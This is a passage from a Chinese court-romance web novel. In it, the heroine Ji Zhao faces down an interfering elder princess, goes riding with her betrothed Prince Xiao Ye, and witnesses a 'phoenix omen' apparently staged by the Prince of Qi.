贞祈长公主摆手:“我说的玩笑话。这不,我也来玩,还带了一堆美人来凑热闹。” 她笑眯眯的:“夫人要怎么谢我?” 她说着一招手,跟随来的贵女们一一上前见礼。 郑国公夫人面上是笑着的,眼底却掠过深思。纪昭离得近,看见了郑国公夫人的异样。 她看向这几位贵女,发现其中两三个也在打量自己。 纪昭不由摸了摸鬓发。 还好精心打扮了,不然还不知道这些世家贵女们怎么审视她。 她这次来行宫将皇后赏赐的好衣衫搬了几套,萧烨送的好布料做成的时新衣衫也带了三套。 还有名贵的头面首饰,各收拾了四套。 这些都是两位教养嬷嬷特地叮嘱挑选上来的。 如黄嬷嬷说的:“如今大小姐是准王妃。王妃就要有王妃的气度,太过素淡清净会被人背地里瞧不起,还会在贵人面前露了怯。” “都是先敬罗裙,后敬人。” 纪昭很听劝,由着两位教养嬷嬷挑出不失身份的服饰。 如今看来,派上用场。 …… 宴席继续,山珍海味流水似的呈上来。 因贞祈长公主突然驾到,座位便调整了了下。 长公主坐上首,郑国公夫人陪坐,纪昭坐在郑国公夫人右侧。其余诰命夫人分坐两边,接下来便是名门千金们。 楼阁很大,但人一多便显得拥挤。 纪昭吃着珍馐美味,又看着贵夫人贵女们饮酒说话。 酒过三巡,有才艺的贵女们便献艺。 或弹琴,或唱歌,还有一位跳了一段舞。 总之十分热闹。 郑国公夫人笑着应酬,如鱼得水。 贞祈长公主喝了点桃花酿,脸上红扑扑的。 她问纪昭:“老十四的侧妃人选定了吗?” 纪昭说不知。 贞祈长公主笑了笑:“这次阿烨说只要两位侧妃,怕是太少了。” 纪昭也不恼,含笑:“这是大事,由皇上与宗人府那边定。” 贞祈长公主瞧着她:“你若是贤惠,与阿烨说说?我瞧他很是抬举你。” 纪昭忍不住又看了一眼头发发白、年纪不小的长公主。 长公主终究是年纪大了,一句话里面有两处说得纪昭不爱听。 什么“贤惠”“抬举”,听着就觉得恶臭。 纪昭垂眸不语,态度谦卑。 贞祈长公主絮絮叨叨:“我这是为了你好。你根基不牢却配了亲王。若不是将侧妃位份多分出去,会被世家诟病。得罪世家大族对你有什么好处?” 纪昭面上带着笑:“那长公主觉得侧妃位份要几位?” 她带着后辈的谦逊,贞祈长公主十分受用。 长公主想了想,道:“依祖宗例,侧妃要四位。” 纪昭点头:“原来如此。” 她做出受教的意思,但心里想笑。 皇帝都没强令萧烨纳四位侧妃,这位嫁出去多年的长公主竟然要插一手。 贞祈长公主见纪昭谦虚又乖巧,说得越发得意。 她指着座下的几位贵女:“你瞧瞧那些小姐们仪态大方,端庄又稳重,哪个不是顶顶好的?” “她们单拎一个出来做侧妃都是屈才了。” 贞祈长公主说这话便是暗讽,讽刺纪昭小门小户的不配当王妃。 已经怼到面前的羞辱,纪昭也不想再忍耐下去。 她含笑:“长公主说得有道理。不过我方才也说了,这些事实在是不能由我定。长公主寻个机会亲自与睿亲王说?” 贞祈长公主碰了软钉子,恼了:“我方才说的话你都没听进去不成?你去说正彰显你大度和贤惠。” 纪昭低头:“小女不敢做主,也做不得主。” 贞祈长公主:“……” 郑国公夫人瞧见这边的情况,翩翩而来。 “你们说什么好玩的,说与我听听。” 贞祈长公主冷笑一声,离席了。 郑国公夫人问纪昭。 纪昭将刚才的话原原本本都说了。 郑国公夫人听了,皮笑肉不笑哼了两声:“真是瞎操心。一个外嫁那么多年的公主,还想管宗人府都管不了的事。真是癞蛤蟆打哈欠,好大的口气。” 纪昭:“长公主是不是有什么亲戚家的闺秀想要嫁给睿亲王?” 郑国公夫人不在意笑道:“她有什么好亲戚?长公主的驸马家稀疏平常,她又不是最受宠的公主,只是顶着一个长字罢了。 我看她是拿了人家的钱,想替那些世家攀附天家高门罢了。” 郑国公夫人的口气很轻视,看样子是十分鄙夷贞祈长公主。 不过想想也是,郑国公夫人娘家和婆家都是根基极其深的世族大家。 一个没有封邑的长公主,在她眼里根本不算什么人物。 纪昭目光扫过那几位由贞祈长公主带来的贵女们。 这些难道都送了银子给了公主? 郑国公夫人凑过来,低声道:“明年后宫要选秀。这些适龄女子也许要明年进宫做妃子,所以提前过来混个脸熟。” 纪昭恍然大悟。 郑国公夫人冷笑:“又是要安排侧妃,又是要插手后宫。我瞧着这位长公主是活得嫌命长了。” 纪昭莞尔一笑。 宴饮结束,纪昭认识了几位贵女。 这些高门贵女以后不是嫁做王妃,就是入后宫。她们没几个心甘情愿当侧妃,特别是当睿亲王萧烨的侧妃。 贞祈长公主怒而离席后就没回来。 纪昭估摸着她可能是想当众给自己下面子,端一端长公主的威风。 若是她自己害怕了,也许会去请罪。 但纪昭不会。 郑国公夫人也让她不要去轻贱身份去请罪。 郑国公夫人原话是:“她没什么头脑,只会拿钱,办不成事的。她将来会倒大霉的,你离她远点,免得受她连累,被雷劈了。” 纪昭含笑道谢。 郑国公夫人:“你是我儿的救命恩人,你放心,侧妃之事我会让夫君暗中试试,不会让你婚后难堪难做。” 纪昭听了这话莫名感动。 她对郑国公夫人没什么特殊的友情,救她儿子不过是自己利用了先机而已。 但明显郑国公夫人把她拿了当挚友看待。 真心很难得。 纪昭决定领了这份情。 第164章萧烨为了她得罪长公主 外面有内侍进来:“睿亲王殿下在外面,问准王妃散了没。” 郑国公夫人抿嘴笑:“怎么不进来?这么见外?” 内侍:“睿亲王在外面被长公主绊住说话了,所以让奴婢进来传话。” 纪昭了然,与郑国公夫人告辞后便出了楼阁。 在外面的小径上,果然瞧见贞祈长公主正拦着萧烨说话。 萧烨冷峻的面上没什么表情,但眼底的不耐烦还是让纪昭瞧了出来。 纪昭走过去,听见贞祈长公主说“不符规矩”“开枝散叶”,“世家大族的女子才能担门面,那小门小户的人怎么能撑起王府的体面……” 话很难听,意料之中。 纪昭佯装没听见,带着两丫鬟和嬷嬷走过来。 她含笑行礼问好。 贞祈长公主瞧见她,冷哼一声别过脸去。 纪昭神情不变,但她身边的丫鬟和教养嬷嬷就绷不住变了脸色。 萧烨看了一眼贞祈长公主,道:“皇长姐,你是不是哪儿不舒服?” 贞祈长公主:“没,只是看见了不识抬举的人。” 萧烨:“哪个?你说出来,弟弟替你教训。” 贞祈长公主犹豫。 萧烨见她不说出来,讽刺道:“既然不说那就是没有。以后不要动不动就哼哼,不然弟弟还以为长姐鼻子有什么问题,得了什么怪病。” 贞祈长公主气不过,冷笑:“你就继续糊涂吧。皇帝给你配个小门小户的,这是羞辱你。我可是为了你好。” 萧烨冷冷道:“皇长姐管的还挺宽。出嫁的姑姐还插手娘家的事,也不知道是哪个给的规矩。” 贞祈长公主气得脸色都变了。 萧烨:“还有,小门小户又怎么样?太祖不也是乱世出身的白丁?皇长姐莫不是忘了本?” 贞祈长公主说不出话来。 萧烨继续:“以后在我面前及身后都不许说王妃是小门小户。若是让我听见了,你我那点本来就所剩无几的姐弟情分就没了。” 贞祈长公主被气走了。 纪昭瞧着她提着裙摆,怒气冲冲的背影,摇了摇头。 这位长公主真是没眼色。 在自己面前说三道四就算了,还特地跑到这位活阎王面前自讨没趣。 萧烨连皇帝都不给面子,怎么会让这位上了年纪的长公主有机会摆谱。 萧烨替纪昭狠狠出了一口恶气,纪昭含笑道谢。 萧烨面无表情:“你不用谢我。她羞辱你便是羞辱我。说你小门小户,她的母妃不过是一个美人,她尚的驸马也只是不入流的文官清流。” “以后谁当着你的面说这些混账话。你大嘴巴子抽过去就是。后果我替你兜着。” 纪昭听得又吃惊又暖心。 身边的丫鬟和教养嬷嬷听得也脸上带笑容。 她们知道萧烨给纪昭处处体面,却不知他能做到这一步——为了纪昭,竟然开罪长公主。 …… 萧烨来找纪昭,为的是通一通各自得到的消息。 纪昭说了昨儿院子的事。 萧烨眸色很冷:“昨夜我也见了那影子。她故意穿得很引人遐想,躲在一块布后,烛火一照若隐若现,皇帝便着了迷。” 纪昭没想到还有这一出。 白沁雪果然是擅长巧思。 上次假装自己,去勾引了三皇子萧钧。如今手段提升,在贵人们都昏昏欲睡,宴席将散时来这一出,勾起皇帝的兴趣。 “她要入宫。”纪昭道,“这个主意我觉得是齐王给她的。齐王是她的后盾,而她见的那位与安南太妃有姻亲关系的衡阳郑夫人,是为了让她有个新身份。” “毕竟白沁雪先前被庞贵妃说给了个贱妾,她为了摆脱这个,可以转头认安南太妃为义母。” 纪昭说着,嗤笑:“说起来,男的为了前途到处拜干爹,女的也能到处认义母,攀高门。” 萧烨看了她一眼:“你分析的很对。” 散落的疑点串成一条线,局势就很明朗了。 经过纪昭这么一掰开了分析,更是觉得所谓的阴谋不过尔尔。 不过萧烨并不觉得纪昭只是小聪明。 相反,纪昭展现的才能让他多高看一眼。 战场上,分析敌我强弱,是成为优秀将领的最重要法门。 萧烨与纪昭并肩慢慢走在花径之中。 如果不是在他们身边听谈论了什么,只会觉得两人郎才女貌,犹如天生一对的璧人。 萧烨也说了自己的布置。 他不管纪昭听得懂听不懂,都说了,还说了龙虎两大营的调动。 纪昭不敢听,因为是机密。 但瞧见萧烨都说出来了,她也就听听。 萧烨走了一会儿,看见前面一簇野蔷薇,顿了顿。 “你等等。” 纪昭莫名停下来。 萧烨走到那矮墙,用手杖勾了野蔷薇两支,亲手摘给了她。 纪昭愣住。这是她收到萧烨第一次摘了送她的花。 萧烨蹙眉:“你不喜欢这花吗?” 纪昭回神:“喜欢,挺喜欢的。” 她说完小心瞧着他的神色。 萧烨见她承认喜欢,便又指着墙头那一枝更大朵的:“那一朵要不要?” 纪昭看去,那一朵蔷薇巴掌大很娇艳。 她心里喜欢,但又不好意思说出口。因为说出口像是在撒娇——撒娇让男人给她摘花。 纪昭两世为人都没这样过。她很不适应。 纪昭连忙摇头:“不必了,太高了。” 萧烨:“你是怀疑我够不着?还是嫌弃我的腿不行?” 纪昭:“……” 萧烨站在矮墙下,伸了伸手杖——果然够不着。 他打了个手势,一道黑影轻飘飘落在墙头,摘了花就又迅速离开。 萧烨拿了那朵花递给纪昭,面无表情:“给你。” 纪昭忍着笑,忍得很辛苦。只能佯装对手里的花爱不释手。 萧烨看她一眼,拿过一朵花亲手簪在她鬓边。看了看,他觉得好看又把其余两朵都簪在她的发间。 萧烨夸:“挺好看的。你果然合适这花。” 纪昭脸热了起来,不由摸了摸鬓边的花。 萧烨见她摆弄,道:“就几朵花,回去让魏曹公找花匠给你院子都种上。” 纪昭忍不住道:“魏曹公很忙的,哪能这些小事都拿给他做?” 萧烨:“他忙什么?他不过是为皇帝到处找花石,珍宝。” 纪昭无言以对。 不过倒是让她好奇两人关系。她问了。 萧烨:“他与我的乳娘是同乡,我母妃还提携了他一把,将他说到了御前任职。若说有关系,他与我乳娘关系深点。” 纪昭点头。 难怪魏曹公身为“九千岁”,还给萧烨做一些很小的事。 纪昭要告辞。 萧烨皱眉:“你急走做什么?” 第165章 漂亮的郑招儿 纪昭心里疑惑。 萧烨指了指北边的山:“继续去寻祥瑞。” 他说这话时神情很认真,纪昭还以为听错了。 萧烨:“知道那些人要搞什么鬼,却不知他们要怎么个搞法,你就不好奇?” 纪昭想了想:“等我去换一套衣衫。” 萧烨:“左右无事,我去你院前等。” 纪昭想说于礼不合,但几次相处下来熟知了萧烨的脾气。他不拘束小节,怎么方便怎么来。 而自己将来要成为他的王妃,甚至属下,还是遵从上峰的喜好。 于是两人便一路行到了纪昭的院前。 萧烨随行侍从早早在院前的观景亭设了锦凳,煮了茶。他便在亭子中歇息等候。 纪昭匆匆进了院中,正巧碰见白沁雪在院中赏景。 她见纪昭折返回来,面上吃惊。 “大姐姐怎么突然回来了?” 纪昭见她精神很好,甚至有心情梳妆打扮,根本不是早上让芳菲说的“着了凉”“咳嗽”。 纪昭:“表妹这病就好了。好的挺快。” 白沁雪摸了摸脸,低声道:“早上用了一副药,好多了。” 纪昭笑了笑,转身进了屋子换衣衫。 她听见屋外白沁雪轻声询问。 晚秋:“睿亲王邀约大小姐出去赏景打猎呢。大小姐要回来换一身。” 晚秋说完,略带得意:“睿亲王对大小姐可好了。有空就找大小姐出去玩。” 纪昭听见白沁雪似乎说了一句什么。 一会儿晚秋进来:“表小姐问说,能不能带着她一起出去?” 晚秋说这话的时候朝着纪昭挤眼睛,意思是拒绝。 纪昭想了想:“难得她想出去,就一起吧。让她回去换一身轻便的衣衫。” 晚秋瞪了纪昭一眼,气呼呼出去传话了。 纪找打扮妥当走出屋子,白沁雪也穿戴好了。她穿着一身果绿色锦面骑装,头上戴着一顶大大的帷帽。 帷帽的白纱从边分开,挂在帽沿边,只露出她那张清水芙蓉似的脸。 很清淡,很清秀。 纪昭看了一眼,笑道:“难得表妹也想出去透透气,正好一起去了。不然若是都闷着,回府中母亲该怪我没照顾好表妹了。” 白沁雪怯怯的:“大姐姐言重了,是我贪玩。现如今能跟着睿亲王和大姐姐一起出游,是天大的福分了。” 她说得很谦卑。 纪昭当先走了出去。 到了院外一起见了萧烨。 萧烨目光落在白沁雪身上:“是她?” 纪昭点头。 萧烨没说什么,带着纪昭等一起再次进了桃花林。 行宫后有成片的山林,山势并不陡,有一大片平坦的山谷。山谷中还有盛开的梨花、杏花等。 骑马在山谷中随意走着,犹如身在画卷中。 一行人走走停停,萧烨偶尔射点野物,纪昭也射。他趁机指点纪昭的箭法。 纪昭枪法很好,箭法却不如枪法好。 萧烨却没有短板,百步穿杨,随手一射就有猎物掉落。 萧烨:“送你的扳指你用得惯吗?” 纪昭笑道:“那扳指可是免死金牌,我藏着呢。” 萧烨看了她一眼:“射箭还是得有自己的扳指。改日我让匠人给你重新定做一个。” 纪昭点头:“殿下用的东西都是好的,做的扳指也是好的。” 她说起郑国公夫人要让崔国舅送她一副马鞍。 萧烨却面带不屑,冷哼:“谁要他送?送来的都是华而不实的东西。你若是缺马鞍,一并也给你做一套。” 纪昭从善如流:“好啊。那就有劳殿下。” 萧烨皱眉:“你怎么都说好?” 纪昭笑道:“刚才说了,殿下的东西都是好的,扳指也好,马鞍也好,都是顶好的。我就不用费这个心思做什么。” 萧烨想了想,点头:“是这个道理,不过你也未免太偷懒。” 纪昭只笑不语。 她要装傻。 装傻才能占便宜。 事事精明出挑没什么好结果。再者,这些骑马射箭的东西本来就是萧烨最擅长的领域。 她费心去弄来,说不定反而被萧烨嫌弃。 这方面纪昭决定都依赖萧烨。 两人在前头说话,身下的马儿时不时凑在一起。在后面的人看来,人亲密,马儿也情意绵绵,实在是羡煞旁人。 白沁雪瞧了一眼,迅速低头,眼底有一丝不易察觉的嫉妒。 她帷帽纱帘遮上,彻底遮挡了自己的脸。 …… 一行人边走边玩,到了一处溪水边。 萧烨一行遇到了一队世家公子和贵女们。其中还有嘉琪郡主。 一众青年男女上前见礼。 京城王家三公子王怀瑾,崔家四公子崔正安,还有庞家的——从前见过的庞隆,和庞雍。 贵女除了嘉琪郡主外,来了高阳甄家二小姐甄晚照、京城齐家嫡三小姐齐景和,郑氏的郑招儿。 四男四女,外加随行的侍从、小厮、丫鬟奴仆,一大堆。 纪昭多瞧了那几位世家贵女们几眼。 甄晚照容貌秀丽,端庄大方。齐景和容貌清秀,不算美丽但胜在气质出众。而郑招儿却十分漂亮。 鹅蛋脸,眼睛很大,鼻子也生的好看,葱管似的笔直。 郑招儿盯着纪昭瞧,然后等引荐完。 她上前夸纪昭:“准睿王妃长得真美。在郑国公夫人宴上就瞧见了。” 纪昭不清楚她的底细,但对这种活泼少女天生有好感。 她微微一笑:“郑小姐灵动秀丽,浑然天成。” 郑招儿甜甜笑了:“多谢准王妃夸我。不过还是准王妃更好看点。” 纪昭含笑不语。 她不擅长和人对夸,一个回合就懒得再继续。 两边人都见过礼,纪昭发现几位公子目光时不时落在白沁雪身上。这异样她发现了,有人也发现了。 郑招儿明眸扫过,突然走到了白沁雪面前。 “你是哪位?怎么戴着帽子不见人?” 白沁雪连忙行礼:“小女白沁雪。是小女的错,小女自觉身份卑微,不敢贸然上前与诸位公子小姐们攀谈。” 纪昭微微蹙眉。 白沁雪的姿态摆得太低了,显得十分小家子气。 郑招儿笑:“我奇怪你为什么戴着帽子。我这人就是好奇心重得很。所有人都没戴帽子,就你戴了,我就想瞧瞧。” 白沁雪只能撩开面纱,让自己的脸显露出来。 郑招儿看了一眼“哦”了一声:“果然长得标致。” 她是夸着的,但纪昭听到了一丝丝的不屑。 纪昭忍不住多看了郑招儿一眼。 这郑招儿看着娇憨,毫无城府的样子,但好像并不是如此。 郑招儿的“果然长得标致”一句话引来四个公子的目光。他们都看了过去,随后眼神露出“也不过如此,尚好”的神情。 纪昭将他们的神情都收入眼中,心中摇头。 这些贵公子们见多了美人,或明媚,或婉约,或清丽,或可爱,白沁雪的美他们并没有真心放在眼里。 也可以说,白沁雪遮着帷帽是最有吸引力的,露出脸来反而失去了神秘。 第166章 和齐王齐王妃一起进山 休息的时候,纪昭对萧烨道:“郑招儿很厉害,不是看起来那么天真的人。” 萧烨随意看了一眼郑招儿的方向。 郑招儿正在溪水边大呼小叫驱使庞隆和庞雍为她捉鱼。庞隆得罪过萧烨和纪昭,所以躲得远远的,不敢招人讨厌。 萧烨:“每个高门贵女都不是善茬。你太大惊小怪。” 纪昭:“……” 纪昭心想,难道就自己蠢? 萧烨为她调整箭矢,十分认真。修长的手指骨节分明,捏着一根根箭矢对准准星,然后放在指间打平衡。 哪根稍差一点都被他丢在旁边。 纪昭看得无聊,又问:“殿下猜她们几个是入宫还是为侧妃?” 萧烨:“……” 纪昭没瞧见他的坏脸色,自顾自道:“我瞧着郑招儿应该是要入宫,齐景和也可能要入宫,宫中没有这两样的美人。一个明媚娇憨,灵气很足,一个气质出众,很有文采的样子。” 萧烨冷笑:“那你说说,哪个可以为孤的侧妃?” 纪昭:“甄晚照,或容家那位小姐也很合适。” 萧烨别过脸去,捏着剩余的箭矢,在箭囊中咯咯作响。 纪昭见他不说话,凑过去:“殿下觉得如何?” 萧烨:“孤觉得你呱噪极了,像一群鸭子似的。” 他说完站起身,手杖也不拿,一瘸一拐地往梨树下走去。 纪昭看他离开的背影气呼呼的,不明白自己刚才那一番话里哪儿得罪了他。 萧烨是亲王,要娶王妃,还得娶侧妃。 这是祖制,他生什么气? 纪昭想不通,最后只能归结萧烨不喜欢谈论男女之事。更不喜欢拿这些事当做茶余谈资。 她隐约有点懊悔。 萧烨对她不错,她不该拿这些事去气他。 一行人在溪水边玩的时候,齐王带着齐王妃来了。 齐王和齐王妃都穿着玉色锦缎骑装,骑装上绣着祥云蝠纹,还有象征王爷和王妃身份的蟠龙和凤形。 他们身后跟着是装束十分齐整的侍卫。 还带了猎狗,每一条都油光水滑,十分黑亮。 齐王见到萧烨,笑着上前:“十四带着弟妹出来玩了?也不招呼我一声。” 齐王妃握住纪昭的手,很热情:“一会儿一起进山打猎。” 纪昭看向萧烨,指望他来应承。 萧烨面无表情:“八哥终于有空出来玩了,我道你还得和皇上叙好久的旧。” 齐王脸上尴尬,哈哈笑着给自己解围:“是许久没见到皇上,说了封地的事。不像老十四天天在京城里,随便都可以见到皇上。” 萧烨冷了脸色:“是,我倒是忘了。我这么个废人还没去封地就藩,惹得八哥嫉妒。” 齐王越发不知道怎么搭话。 萧烨是有封地的,而且封地在江汉一带十分富庶。只是萧烨一直在西北打仗,战功赫赫。受伤回京后,也应该回封地养着。 但皇帝怎么可能放他这么一个权王回封地? 借口萧烨需养病,在京中养了他七八年,不敢放他走。 纪昭出来打圆场:“齐王和王妃想猎什么?” 齐王妃笑道:“听说这山上有野鹿,也有兔子,想猎点。” 纪昭:“有野鹿,昨儿睿亲王猎了一头给我。” 齐王笑呵呵的:“十四箭法很准,跟着他可以捡不少漏。” 萧烨:“你们打算跟着我?” 齐王:“十四不喜欢?” 萧烨:“也不是不喜欢,只是不喜欢你带的那些狗。” 齐王:“狗子怎么了?它们是猎狗,能找到猎物,还能围猎熊瞎子。” 萧烨:“把它们都驱散了,我不喜欢。” 齐王无奈:“那不带上山总行了吧?” 萧烨点头,算是同意了。 齐王让手下的人将猎狗都拴着,然后整装跟上萧烨的队伍。 刚才的四男四女踌躇了一番,并没有跟上,而是选择顺着溪水往下游玩。 于是两队人合作一队往山林深处而去。 纪昭心中隐约不安,虽跟着萧烨还是觉得有哪儿不对劲。但明明齐王还带了齐王妃,又是这么兴师动众,应该不会出什么岔子。 萧烨在前面走,按道理纪昭不能跟太紧,只能一马之距以示尊卑有序。 纪昭夹了马腹,上前:“殿下不喜欢狗?” 萧烨沉声:“狗会惊马。林中惊马,会死人的。” 纪昭怵然而惊。 她倒是忘了这一条。如果在山林中马受了惊,骑手就危险万分。毕竟到处都是低垂又粗重的树枝。 树枝扫过人面,不亚于武林高手的一击。 萧烨见她脸色变了,缓了口气:“这只是防范未然。齐王不一定懂行猎。看他的样子就知道鲜少出门。” 纪昭听了这番话,突然想起了关于齐王的印象。 齐王排行第八,还未去封地时就听说礼贤下士,喜欢和学子们清谈。而后先帝给了他丰饶的封地,十八岁就让他去就藩。 齐王给人印象一直很和气的王爷,一直到三皇子谋逆,他都没掀什么风浪。 纪昭做鬼那几年,只听齐王似乎很迷恋炼丹和求长生。因为这事还被言官上奏弹劾了好几次。 所以齐王肯定不喜欢打猎这种游玩活动。 纪昭脑中想着关于齐王的印象,越发笃定今日齐王和齐王妃出来打猎很奇怪。 她凑过去,悄悄道:“齐王意图并不在打猎,可能有别的所图。” 萧烨皱眉:“图谋什么?” 纪昭摇头:“不知道图谋什么,但总觉得他出行阵仗太过齐全,像是故意要给谁看到似的。” 萧烨随意扫了一眼。 “一会儿你跟紧我。若是有人偷袭,交由我,不要忘了你没有内力。” 纪昭点头。 她的确是会忘了自己其实没有内力这情况。 若是真的有埋伏刺客,她不自量力去格挡会丢了性命。 …… 一行人走了大约一个时辰。 萧烨不停,带着人往深山去。越行山林越阴森恐怖。 纪昭频频回头,果然发现齐王和齐王妃脸色不好看。而白沁雪则早就由侍卫带着回去了。 白沁雪更吃不了这个苦。 齐王终于赶上前,擦着汗:“十四,你这是往哪儿走?我是走不动了。” 萧烨不动声色:“八哥不是想猎鹿吗?鹿在深山中。” 齐王摇头:“不去,走不动了。往东南边有观云阁,我们走过去歇歇。” 萧烨点头:“那就去那边。” 齐王松了口气,招呼侍卫们往观云阁去。 萧烨调转马,到纪昭身边,似笑非笑:“他要去的是观云阁。也许,观云阁会出现祥瑞。” 纪昭:“……” 萧烨:“我说到处走走会找到祥瑞,果然转了一圈就有了。” 齐王上前,笑着问:“你们又背着我和你嫂子说什么话?” 萧烨:“说观云阁许久没人去了,几乎荒废了。可八哥竟然还记得。” 齐王神情有瞬间变化。 他笑了:“我记性好,十四你又不是不知道。” 萧烨勾唇一笑,吩咐侍卫在前面开路,去往观云阁。 第167章 见到凤凰祥瑞 纪昭终于明白萧烨为什么这两日带着她漫无目的到处乱逛。 只有到处乱逛才能吸引齐王出来。 这招在兵法里叫做——引蛇出洞。 所谓的祥瑞既然由齐王说出口,那他一定有万全的准备。 这个准备一定要有人见证,没有人见证就是和寻常的祥瑞一样,最后成了一个口头传说。 一行人在半个时辰跋涉后来到了观云阁。 果然是被荒废许久。 楼阁朱漆掉落,精美的壁画掉得斑驳,能看出当初的画的精美传神。 也有金箔片片,但被山间风雨侵袭,一碰化成落灰。 唯有通往观云阁的楼梯还算完好,踩上去嘎吱作响却还十分牢靠。 一行人上了观云阁歇息。 有小内侍先一步上去打扫布置。 纪昭随行除了晚秋丫鬟,还有那两位魏曹公亲自挑选给她的内侍。 那两位内侍先一步上去,身姿轻盈,一看就是内力不错的练家子。 齐王忍不住意味深长瞧了纪昭一眼,笑道:“十四的准王妃果然是得他喜爱,连贴身护卫都先拨了过去用。” 纪昭谦虚:“齐王言重了。这两位内侍是此次出行殿下怕我不方便,特地拨来让我用的。等回京了一样得还回去。” 萧烨在前头听了这话,蹙眉:“给你用了就用了,不用退回。” 齐王哈哈一笑:“十四好护短。” 萧烨冷淡道:“八哥天天盯着琐事,也不嫌麻烦。” 齐王笑道:“这不是瞧你这千年铁树要开花,忍不住多看两眼。旁人的事,我是多看一眼都显累赘。” 萧烨冷哼一声,一步步拾级而上。 纪昭对齐王歉然笑了笑,慢慢跟在身后走上去了。 齐王妃由丫鬟扶着,上来问:“你们说了什么?” 齐王淡淡道:“没什么,只是瞧着十四对准王妃很是上心,给了两个好手。” 齐王妃含笑:“京中传言睿亲王很喜欢王妃呢。传言不会有假的。” 齐王点了点头,随后跟上。 到了观云阁最后一层,众人面前豁然开阔。 山峦叠翠,群峰延绵不绝,悬崖高耸,宛若从天而降的玄铁利刃,屹立在天地之间。 造化的恢弘大气是常人想不到的,也是久居京城繁华之地所不常见的。 众人纷纷惊叹。 纪昭站在凌空的阑干边悄悄打量。 旁人看风景,她看地形是否布满了杀机。 果然看了一会儿,纪昭将目光落在了面前百丈悬崖。悬崖离观云阁目测有三四百丈,高耸入云,山间云雾在崖中缭绕。 有山谷间的风吹过,云雾如水似的缓缓而过。 若是有日出,这番景象会越发迷离且炫目。 齐王招呼煮茶赏景,还要对诗。 萧烨毫不客气:“我文才不好,八哥不要拿酸诗来膈应人。” 齐王哈哈一笑:“好,不作诗,要不喝点酒?” 他说完不等萧烨反对,便让人拿出酒水。 纪昭含笑道:“我最近服药,不能喝酒。” 齐王妃抿嘴笑道:“前几日不是听说准王妃在院中炙烤鹿肉,还宴饮了。” 纪昭面不改色:“是她们喝,我没喝。” 齐王妃:“……” 虽然萧烨和纪昭看起来扫兴得很,但齐王还是很有兴致,喝了酒做了诗。 到了近日暮,山间突然刮了一阵急风。 山谷间瞬间云雾滚涌而出,天色突然暗了下来。 楼阁中的人没见过这么善变的天气,一时间人人面上有惧色。 齐王皱眉:“怎么天变了?” 萧烨:“山间的天气本就善变。一会就云开日出。” 说话间,果然下起了疾风骤雨。 雨水如石似的击打在楼阁上,喷溅进来。几滴雨水打在纪昭的脸上身上,她不由蹙了蹙眉头。 挺疼,像石头砸似的。 纪昭低头看,地上斑斑点点,居然还有冰晶似的东西。 冰雹? 纪昭还没看清楚,头上肩上又挨了几颗。 这冰雹借着风势宛若石子似的,纪昭没内力有点受不住。 她正要往后退,身边斜地里伸出一只修长的胳膊,然后将薄披风挡在她边上。 纪昭抬头,正好撞入一双深幽至极的凤眸中。 萧烨:“进来些。” 纪昭从善如流,往里面挪了挪。 不过观云阁的顶层楼阁很狭小,除去这四面透风的边被雨水打湿,就只有正中间足够四五人站立的小地方淋不到雨。 又偏偏,正中央是一个四方矮几。 所以四人或多或少都会被雨打湿。 纪昭头肩披了萧烨的披风,稍稍挡了风雨,便不会那么狼狈。 齐王妃没有披风,裙摆都湿透了。齐王则站在阑干边三尺,迎风而视。 他口中道:“好风好雨。” 过了一会儿,风停雨歇,山间浓雾再次沉沉来。 天边露出一点金光,是晚霞的余晖。 正当众人松了口气的时候,突然有个小内侍指着对面山崖喊着:“祥瑞!凤凰祥瑞!” 所有人目光随之看去。 果然在对面山崖上,一道炫丽凤羽从山间倏忽而过,五彩斑斓,在山林和云雾中若隐若现。 山间传来悠远的凤鸣。 而此时天边乌云正好散去,金光洒落,对面的云雾翻滚起来。 那凤凰的凤羽闪闪发光,十分绚烂。 此奇景大概有一盏茶功夫,随后凤凰似乎藏入了山坳中,再也看不见。 齐王眼神熠熠:“十四,你瞧见了没?凤凰!是真的凤凰。” …… 观云阁看见凤凰显身的事迹迅速报给了皇帝。 皇帝与皇后在行宫的紫澜殿中听着齐王和齐王妃讲述。 萧烨与纪昭坐下陪同。 皇帝大悦,赐下重赏。皇后也十分高兴,吩咐内务府太监将观云阁重新修缮,重新上朱漆,贴金箔,雕梁画栋都做凤形。 皇帝赐改名,观凤阁。 准备修缮后,亲上观凤阁,希望能一睹凤凰显瑞奇景。 一番嘉奖赏赐后,纪昭回到了院中。 纪府的内眷都听说了观云阁瞧见了凤凰祥瑞,便找她打探消息。 白沁雪也来了。 她笑容惋惜:“都怪我不争气,走到一半就回转了。不然也能瞧见凤凰献瑞。说不定也能沾点福气。” 纪璇静得意:“就是。大姐姐才是那福泽深厚的人。” 言下之意,白沁雪福泽不够。 白沁雪在旁叹气惋惜。 纪昭眸光一闪,笑道:“表妹不用沮丧,也许改日就能瞧见呢。” 白沁雪挤出笑容,随意说了两句便回了自己的屋子。 等她走了,纪璇静问:“大姐姐为什么要给她体面?她自从来了这里,病恹恹的晦气。” 纪昭似笑非笑:“难道你想让她张扬耀眼?” 纪璇静:“那倒不是。” 第168章 观凤阁上的暗涛汹涌 纪昭笑了笑,将皇帝的赏赐与几位妹妹分了。 纪璇静给了一副蓝玉做的头面首饰,还给了两匹宫中的锦缎。头面首饰是为了给她做嫁妆,也是给二房体面。 纪灵那边,纪昭给了两套文房四宝。 一套中有徽州的松墨,一套中有荣宝斋的十刀宣纸。 纪昭特地吩咐:“这两套各有好处,你让纪蕴替你送给周公子,就不算私相授受。” 纪灵脸红耳赤应了。 她低声道:“要不大姐姐替我托三哥送吧。” 纪璇静实在是看不过眼:“你的事非要让大姐姐替你这个那个的。你也得拿拿主意。” “总不能你与周公子说话,大姐姐还得替你打腹稿。” 纪灵羞得跑了。 纪璇静噘嘴:“灵儿老是这么怯弱,以后怕会被人欺负。” 纪昭捏了她的脸:“就你泼辣有主意。怎么这几日没与忠义伯爵府的二公子见见面?都快议亲,和未来夫婿都还只见几面。” 纪璇静也被羞得跑了。 等她们走了,纪昭吩咐晚意将赏赐收好,然后另外拿出自己随身不离的木匣子。 木匣子已经被桐油擦得锃光瓦亮,窗边落下的光照在上面泛起一层油彩。 纪昭又细细擦了一遍,这才打开。 里面是断了枪杆的残枪,寒芒闪耀,杀气隐动。 晚意瞧见了,低声道:“大小姐要这残枪做什么?” 晚意几次见纪昭擦枪。 每次擦枪总有大事发生,而每逢这个时候纪昭神情很肃冷。 纪昭比划了下,摇头:“随身带不了。可惜了。” 她又重新将枪尖擦拭一遍,枪匣封好。 晚意:“可是有睿王殿下在。他会保护大小姐。” 